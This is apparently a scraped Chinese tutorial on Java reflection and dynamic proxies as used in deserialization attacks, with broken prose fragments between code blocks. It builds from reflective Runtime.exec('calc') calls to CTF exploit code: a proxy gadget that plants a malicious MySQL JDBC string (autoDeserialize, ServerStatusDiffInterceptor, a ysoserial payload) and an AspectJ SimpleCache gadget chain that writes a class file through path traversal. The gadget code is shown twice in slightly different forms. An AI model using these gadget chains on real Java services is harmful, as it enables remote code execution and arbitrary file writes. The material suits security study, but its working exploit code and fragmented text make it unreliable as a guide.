import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException { Runtime.getRuntime().exec("calc"); } }
getRuntime()
来调用exec,而不是直接实例化Runtime呢?看看源码就知道了,发现是因为Runtime构造函数是私有的所以不能直接实例化,而是通过getRuntime()
来进行构造,刚好又是静态方法,所以可以直接调用constructor.setAccessible(true);
这就是为了设置可以获取和修改私有属性这些)。import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException { //Runtime.getRuntime().exec("calc"); Class clazz = Class.forName("java.lang.Runtime"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); Runtime rt = (Runtime)constructor.newInstance(); rt.exec("calc"); } }
getRuntime()
再到exec来达到命令执行,这里需要注意一个地方,Method的invoke里面是一个类,而不是一个实例化的对象,主要原因是gt是源于getRuntime这个方法,而刚刚看到getRuntime是一个静态方法,所以这里也就不需要实例化了,这里就是cc链里面很多地方用到反射为什么要通过getRuntime来到exec了。import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException { //Runtime.getRuntime().exec("calc"); Class clazz = Class.forName("java.lang.Runtime"); Method gt = clazz.getMethod("getRuntime"); clazz.getMethod("exec",String.class).invoke(gt.invoke(clazz),"calc"); } }
import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException { //Runtime.getRuntime().exec("calc"); Class clazz = Class.forName("java.lang.Runtime"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); clazz.getMethod("exec",String.class).invoke(constructor.newInstance(),"calc"); } }
$
来进行分隔的,还有就是newInstance时第一个参数得是这个类的实例化对象(如果不是私有内部类,这里第一个就是内部类对应构造方法的参数)。public class People { private class Vuln{ private String inStr="you don't control me"; public Vuln(String s){System.out.println(inStr+s);} } } import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException { Class clazz = Class.forName("People$Vuln"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); constructor.newInstance(new People(),".Oh it easy?"); } }
public class People { private String a="only a?"; public void getA(){ System.out.println(this.a); } } import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test { public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException, NoSuchFieldException { People pl = new People(); pl.getA(); Class clazz = Class.forName("People"); Field fd_a = clazz.getDeclaredField("a"); fd_a.setAccessible(true); fd_a.set(pl,"I can change it,,,"); pl.getA(); } }
People.java public interface People { public void getA(); } Man.java public class Man implements People { @Override public void getA(){ System.out.println("Maned");} } PeopleHandler.java import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; public class PeopleHandler implements InvocationHandler { private Object target; public PeopleHandler(Object pl) { this.target=pl; } public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("invoked"); method.invoke(this.target, args); return null; } } test.java import java.io.IOException; import java.lang.reflect.*; public class test { public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException, ClassNotFoundException, IOException, NoSuchFieldException { Man man = new Man(); PeopleHandler pl_handler = new PeopleHandler(man); People pl = (People) Proxy.newProxyInstance(People.class.getClassLoader(), new Class[] {People.class}, pl_handler); pl.getA(); } }
package gdufs.challenge.web; import gdufs.challenge.web.invocation.InfoInvocationHandler; import gdufs.challenge.web.model.DatabaseInfo; import gdufs.challenge.web.model.Info; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Proxy; import java.util.Base64; /* info.getAllInfo() InfoInvocationHandler.invoke() DatabaseInfo.checkAllInfo() DatabaseInfo.connect() //配合jdbc的反序列化 */ public class exp { public static void main(String[] args) throws Exception { DatabaseInfo databaseInfo = new DatabaseInfo(); databaseInfo.setHost("127.0.0.1"); databaseInfo.setPort("3306"); databaseInfo.setUsername("yso_CommonsCollections5_calc"); databaseInfo.setPassword("123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"); ClassLoader classLoader = databaseInfo.getClass().getClassLoader(); Class[] interfaces = databaseInfo.getClass().getInterfaces(); InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo); Info proxy = (Info)Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos); objectOutputStream.writeObject(proxy); objectOutputStream.flush(); objectOutputStream.close(); System.out.printf(new String(Base64.getEncoder().encode(baos.toByteArray()))); } }
package launch;
import checker.DataMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
HashSet.readObject()
HashMap.put()
HashMap.hash()
DataMap$Entry.hashcode
DataMap$Entry.getValue()
DataMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()
*/
public class poc {
public static Serializable getGadget() throws Exception {
byte[] content_byte = Files.readAllBytes(new File("D:\\dk\\d3\\www_1385f769c3bd9b2489b828ce25238f3dee4ff4f16f\\Exp.class").toPath());
String file_name = "../../../../../../../../../../../../../../aaaaaaa.class";
Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructors()[0];
aspectjConstructor.setAccessible(true);
Object simpleCache = aspectjConstructor.newInstance(".", 12);//这里就用到了前面的内部公有类实例化
HashMap wrapperMap = new HashMap();
wrapperMap.put(file_name, content_byte);
DataMap dataMap = new DataMap(wrapperMap, (Map) simpleCache);
Constructor[] entryConstructor = Class.forName("checker.DataMap$Entry").getDeclaredConstructors();
entryConstructor[0].setAccessible(true);
Object entry = entryConstructor[0].newInstance(dataMap, file_name);//这里就用到了前面的私有内部类的实例化方式
HashSet map = new HashSet(1);
map.add(entry);//nu1l这之后的操作就是为了修改这个值,目的也是防止add时修改我们已经构造好的类
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object.obj2"));
o.writeObject(map);
o.flush();
o.close();
return 1;
}
public static void main(String[] args) throws Exception {
getGadget();
}
}
package launch; import checker.DataMap; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.util.HashMap; import java.util.HashSet; import java.util.Map; /** HashSet.readObject() HashMap.put() HashMap.hash() DataMap$Entry.hashcode DataMap$Entry.getValue() DataMap.get() SimpleCache$StorableCachingMap.put() SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write() */ public class poc { public static Serializable getGadget() throws Exception { byte[] content_byte = Files.readAllBytes(new File("D:\\dk\\d3\\www_1385f769c3bd9b2489b828ce25238f3dee4ff4f16f\\Exp.class").toPath()); String file_name = "../../../../../../../../../../../../../../aaaaaaa.class"; Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructors()[0]; aspectjConstructor.setAccessible(true); Object simpleCache = aspectjConstructor.newInstance(".", 12);//这里就用到了前面的内部公有类实例化 HashMap wrapperMap = new HashMap(); wrapperMap.put(file_name, content_byte); DataMap dataMap = new DataMap(wrapperMap, (Map) simpleCache); Constructor[] entryConstructor = Class.forName("checker.DataMap$Entry").getDeclaredConstructors(); entryConstructor[0].setAccessible(true); Object entry = entryConstructor[0].newInstance(dataMap, file_name);//这里就用到了前面的私有内部类的实例化方式 HashSet map = new HashSet(1); map.add(entry); File file = new File("Object.obj2"); ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file)); Object newUser = (Object)ois.readObject(); return 1; } public static void main(String[] args) throws Exception { getGadget(); } }